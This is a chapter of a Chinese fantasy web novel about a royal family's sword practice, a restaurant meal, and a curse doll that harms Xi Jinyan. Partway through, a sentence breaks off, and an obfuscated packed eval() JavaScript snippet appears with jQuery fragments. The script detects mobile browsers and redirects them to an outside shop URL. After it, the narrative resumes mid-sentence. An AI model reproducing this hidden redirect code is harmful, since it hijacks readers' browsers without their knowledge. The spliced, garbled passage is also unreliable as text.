30. 第 30 章
作品:《皇子妃今天还没复活吗》 鹤兮娜升了处长,不能和以往一样将工作带回家中做,她现在要管一大群医修,每天跟着临澜早出晚归。西谨延的工作完成很快,出差两天就完成了,余下七天的假期,他待在家里陪孩子玩。
天气一日日缓和起来,素鹤换了一身轻薄的外衣,双手握着一把木剑,跟着西谨延学习基本功。鹤小花带着昀兮庆坐在一旁,她手里拿着一根木棍,在土地上写着昀兮庆的名字,教他认字。
西叙白躺在摇椅上,晒着春日的暖阳。按理下午他要练功的,可是院子拢共那么大,哥哥带着侄子,妻子也占了一块地方,他总不能跑去房顶上练。
房顶上……他抬眼望去,一只白鸽蹲在屋檐斜角上。房顶上是绿大人的地方。
小庆儿下个月就要满一周岁了,奶奶懒得挑选启蒙先生,便付了游先生定金,让他教小庆儿。正巧素鹤是五月三十日生日,到了三岁,就可以将他送去太学和其他小朋友一起学习了。
皇室入学前的教育,除去挑选了学伴的,都是一对一启蒙教学。
他直起身子,看着西谨延指点素鹤的动作。他们小时候也是这样,只是父母死后,哥哥就没有教过他了。
悲伤的情绪还未涌上心头,西叙白就见李瑞香摩拳擦掌的,要找西谨延切磋。
他站起身,将剑拿到手上,微笑着道:“瑞香,我陪你打吧。”
“不要,我现在比你厉害了,和你打没意思。哥哥明天就走了,我要和哥哥打。”李瑞香说着,拔出利剑,对准西谨延,嘴上还不停说话,“你到底要不要用灵石修炼啊,再不用,那一块要没灵力了。”
“好吧,我晚上就用,等我修为追上你,咱俩打就有意思了。”
西叙白将剑别在腰上,双手抱在胸前,观摩着两人的打斗。
哥哥看着放了大水,但细看却是拿出了十二分的认真,只是几次交手,就判断出李瑞香目前的实力,而且还预判了李瑞香的动作。
很多在外人看来根本无用的动作,都精准的穿过了李瑞香的胳膊和腿部。
十几个回合下来,李瑞香也渐渐察觉到西谨延的用意,出招的同时,尽量避开对手的攻击。
素鹤站在一旁看着,看得打起哈欠,不满地叫起来:“伯父,你是来教我的,我也要和你打架!”
“那你们一起上吧。”西谨延躲开李瑞香的剑,后撤几步,伸出一只手,对着的,正是西叙白的方向,“三打一,我再让你们一只手。”
“伯父你不要太嚣张,我要是打到你,我们晚上去吃大餐可以吗?”
“当然可以,你们能碰到我,我就带你们去醉仙楼吃。”
醉仙楼?李瑞香听过这个饭店的名字好几次了,那个白家的三殿下喜欢吃,嫂子也喜欢吃,那些天神也去过……她猛地看向西叙白,叫他赶紧过来。
四个人打得乒乒乓乓,昀兮庆安安静静的蹲在一旁,拿着树枝,在地上歪歪斜斜的写下自己的名字,写好了,就跳起来,叫伯父过来看。
西谨延手上用力,一剑挑飞三个人的武器,迈着轻快的步伐走到昀兮庆身边,夸他的字写得好看,随后抱起孩子,说去醉仙楼吃饭。
“可是,伯父,我们输了。”素鹤小声道。
“那怎么了,我有说没碰到就不能吃吗?”
“好耶,伯父我爱你,伯父我也要抱!”
日光和煦,打在沿街的琉璃瓦上,流动着异样的光泽,微风拂过店铺门口垂吊的流苏,晃得铃儿叮当作响。大抵现在正是睡午觉的时候,一路走过来,行人不多,视线穿过窗棂,几个伙计躺在摇椅上酣睡着。
刚至醉仙楼,李瑞香就被店门口两个彩漆的迎客铜人吸引了目光,只见铜人弯腰鞠躬,双手朝门内摆着,脸上堆满了笑容,笑得酒窝比大拇指还大。
楼内没什么客人,只有一个小伙子坐在柜台后面,趴在桌子上睡觉。也许是梦做够了,也许是听见了脚步声,小伙子爬了起来,带着一张标准的笑容开口询问:“客官您好,打尖还是住店?”
“我们来吃饭!”素鹤抢着回答,“快把菜单拿出来。嗷!”
西谨延敲了一下侄子脑袋,点了一间雅间。
店小二招呼着众人,带着他们来到三楼,推开一个挂着“临江仙”牌子的门。
屋内装饰素雅,入门进去是会客厅,左右对称摆着几张硬木雕花椅子,一道绣着千里江山图的白绢屏风隔绝了厅堂和餐厅。绕过屏风,是一个连着露台的大餐厅,门顶上垂着珠玉门帘,风吹过,好似筷子敲在瓷碗上,清脆干净。
一方小桌摆在地毯靠着屏风的地方。西谨延帮孩子们脱下鞋子,带着他们坐到小桌旁。
小二变出四张菜单,一一放到客人面前。昀兮庆拿着菜单,拉住西谨延:“伯父,我不会看。”
不等西谨延说话,店小二连忙变出一册带图画的菜单,对着小客人连连说抱歉。
饭菜很快点好并上桌,李瑞香坐在侧边,正想拿昀兮庆的碗筷时,又听西谨延说话:
“麻烦你再拿两副碗筷来。”
“好的客官,请稍等。”
鹤小花咬着筷子,问:“不是已经有四个了吗?”
“剑灵也许会要吃。”
李瑞香看着干净的碗筷,瞥了一眼西谨延,趴在西叙白耳朵上道:“你哥哥是不是知道啊?”
西叙白几乎是脱口而出:“他不可能看见我们的。太傅没那么闲。”
李瑞香狐疑的看向西谨延,他吃得很少,不过几口,就拿着酒壶坐到栏杆边,珠帘相隔,也挡不住男人的愁容。
“你哥,好像不开心啊。”
“没事,八成是在想明天就要离开嫂子了。”西叙白夹了一块肉到李瑞香碗里,“快吃吧,这风都没的挡,估计菜很快就凉了。”
素鹤将肚子吃的滚圆,打了一个大大的饱嗝,心满意足的站起来,迈着小腿走到西谨延身边,问:“伯父,你不饿吗?”
“不饿。吃饱了吗?”
“吃饱了。”
“那我们去给小姨买饭。小花,你看着孩子,我们先去楼下。”
酒壶回到了饭桌上,李瑞香拿起晃了晃,已经喝完了。
昀兮庆拿不惯外面的长筷子,扒拉的有些慢,看见伯父走了,他焦急起来,结果吃了一桌子都是。李瑞香摇了摇头,见鹤小花也吃完了,将剑柄抵着汤碗里的勺子,用灵力将它送到昀兮庆碗里。
“谢谢香。”
李瑞香愣了一下,将剑放回身侧,轻声道:“和娘说什么谢谢呢。”
等昀兮庆吃完,鹤小花拿了手帕给小孩子擦嘴,又将鞋给他穿好,牵着他下楼梯。
木制的扶梯扶着很是光滑,侧面却是雕刻了不少条纹,一直连接至木柱中央镶嵌的红色宝石。李瑞香扫了一眼,伸手一一取下来。她拿着一颗宝石对准楼梯间的窗户,日光倾泻,火彩耀眼。
“不愧是紫云城最有名的饭馆。”西叙白也抠下一颗宝石,“这么好的火系灵石,放在交易所,这一颗,都能卖出三万灵币。不全拿了都对不起来这一趟。”
“我们好像土匪啊。”
“像就像喽,反正他们也没有损失什么。”
下至二楼,便听见楼下有人说话,其中一人正是西谨延。李瑞香一边抠宝石,一边往下走着。隔着木头栏杆,她看见一楼大厅里,西谨延正和一个带着小孩的大人聊天,素鹤坐在西谨延身边,一幅乖巧的模样。
“伯父,他是谁?”昀兮庆指着那个成年的精灵问。
“这是你乌爷爷。”西谨延牵住昀兮庆,将孩子抱到素鹤身边坐着。
“小庆儿就忘记我了吗?”精灵一脸疲惫,脸上带着浅浅的笑容。他手上剥着河虾,剥好一个,就蘸进酱汁里,喂给身边的小孩子吃。
“……老祖宗生太多了,我记不住。”
乌暮封忍不住笑出声:“这句话可不能在老祖宗面前说,老祖宗会生气的。”
“老祖宗最喜欢我了,他们不会生我气的。”
将宝石收好,夫妻两人悠闲的走到西谨延身后,静静听他们聊家常。越听,李瑞香看着那埋头吃得津津有味的小孩子,感觉越面熟:“这个家伙,不是你的小爷爷吗?”
“嗯,对。”西叙白顿了一下,又继续道,“小爷爷身边的就是他四岁生的长子,乌暮封,乌伯父。”
李瑞香看着这对另类的父子,眼角余光一瞥,看见门外来了一匹高头大马。
来者是一个高挑的男性精灵,昏灰色的长发扎着高马尾,双眼是极其漂亮的钴蓝色,一身鸦青色的宽袖长衣,腰间佩着一块青铜色令牌和孔雀石绿玉佩。他抬起脚,藏青的军靴踹在九渊腰上,将人踹出七八米远,穿过窗户,重重地砸到外面大道上。
一声惨烈的哎呦声,吓得两个小孩子紧紧抱住西谨延。
看着男人坐到乌暮封身边,很自然的吃下那沾满酱汁的虾肉,李瑞香拉住西叙白,问:“这位是?”
“小爷爷的二儿子,破天伯父。”
“破天……”
“他不想取名字,随便取的。”
乌暮封的心情明显明媚起来,虽仍是很疲倦的样子,笑容也是真切了几分:“你怎么过来了?军中事务忙完了?”
“没,灵伯父让我接谨延回部队,明天就走。”破天拿出一个木匣子,打开,里面是一个长
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202529|197254||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得和西谨延一样的棉花娃娃,“这几天很不好受吧,等会儿我们去千闻阁,将巫术彻底解除。”
“麻烦伯父了。那个女人很难对付吧?”
“还好,主要是你中了圈套,不然正面交锋她绝不是你的对手。”破天一边说着,一边用灵力将虾肉剥好,拿起筷子,喂给乌暮封,“下次那个家伙再使唤你,你不要理他。”
“他好歹是我们的父亲。”
“哥你这个人真是认死理。”
说话间,店小二提着盒饭走来,将盒饭连同账单一起放到西谨延身边。
破天直接拿起账单,问店家这两桌一共多少钱,他一起付了。结好了账,他起身,就要带西谨延走。
“伯父先去吧,我还要给我的妻子送……”西谨延却突然把身体弓起来,喉咙里闷哼一声,吐出一口鲜血。
“哥!”西叙白冲上前,用灵力扶住兄长。
小孩子们哭了起来,鹤小花连忙将他们抱下来,轻声安抚他们。
“你没事吧。”乌暮封扶住西谨延,抬眸看向桌子上的木匣,里面的巫蛊娃娃不翼而飞。
破天皱起眉头,手中变出一把长枪,对准窗户一投,外面就传来哀嚎声。他再一抬手,将枪唤回,枪头上,挂着九渊。九渊手里拿着那个巫蛊娃娃,几根长针扎在娃娃肚子上,贯穿身体。
“你欠打是不是!”破天拿回娃娃,小心翼翼的将一根银针拔下,还想再拔一根时,被乌暮封叫住。原是西谨延已经疼晕过去。“该死的巫术!”他咒骂一声,轻手轻脚的将娃娃放回木匣子里,固定住,收好。
“我不开心,你们都别想开心!”九渊叫起来。
“坏蛋!你是坏蛋!”昀兮庆指着九渊哭道,“叙,香……”
孩子“打”字还没说出来,西叙白已经一剑捅进了九渊的腹部。
“叙白……”
李瑞香看着男人泛红的双眼,双手握住他的手,将剑拔出来。他在发抖……
噗呲一声,剑又捅了回去。
“我看书上说,心脏的位置是在这里。”
“干了我一直想做的事……”破天收回枪,看着父亲像一个破布娃娃一样倒在地上,还不停的抽搐着身体,语气不耐烦,“装什么装,你一个神级还会被这种攻击害死吗。”
言毕,一脚将九渊踹到大街上。
店小二一直站在一旁,似乎见惯了这样的场景,脸上一直挂着职业的微笑,见他们完事了,道:“清洁费三百灵币。”
蓝色的光球包裹着娃娃,银针一点点消解,消失在空中。
“所以,你真是活该。”戚沐月修长的手指绕在西谨延的长发上,给晚辈编着小辫子,另一只手拿着奏折,漂亮的眸子看向天花板,嘴角微微勾起,似笑非笑。
“大哥,我错了,你放过我吧。”九渊被倒吊在上面,“我下次不会这么欺负晚辈了。”
“不,让他继续吊着,我伯父什么时候醒过来再说!”昀兮庆坐在戚沐月对面,吃着水果。素鹤附和着,还说要告诉老祖宗,让老祖宗罚九渊。
盒饭已经让鹤小花送去,想必不多时,鹤兮娜也会杀过来。
西谨延睡在长椅上,枕着戚沐月的大腿,身上盖着一层薄毯。他脸色很苍白,眉头紧皱着。
“你还想有下次,给我好好反省自己。”戚沐月呵斥道,将手中的奏折丢到桌子上。一条小辫子编好,他手中灵力化作一条皮筋,将辫子固定好。
“太爷爷,我也想扎辫子。”昀兮庆道。
“你头发还短,等留到腰了,太爷爷给你扎。”戚沐月抬手抓住娃娃,长针已经取下,巫术也已解除,只剩下一个普通的棉花娃娃,“那女人手艺还不错,做的挺像的。”
他将娃娃塞到毯子里,低头时,看见西谨延皱起的眉头,脸上流露出心疼,伸手抚平:“可惜了,要是这个孩子像夜吟就好了。既然出了这档子事,你和灵说一声,给谨延多放几天假,好好休息一阵子。”
“抱歉伯父,灵伯父交待我不管情况如何,”破天道,“都要把西谨延带回军营。”
“你也看到了,他伤得很重,我们做长辈,何苦为难一个孩子呢?”
“沐月爷爷是不是说得太夸张了……”李瑞香忍不住开口,她转身看向西叙白,男人眼角还是微红着,但他已经收拾好了自己的情绪,一幅事不关己的样子靠着书架。
“习惯就好,他们想施加宠爱的时候,我们就是孩子,我们干活的时候,就是那么大岁数了这点事都干不好。”西叙白叹了一口气,“沐月爷爷又想挖灵爷爷的墙角了。”
“那你觉得他能成功吗?”
“不能。”

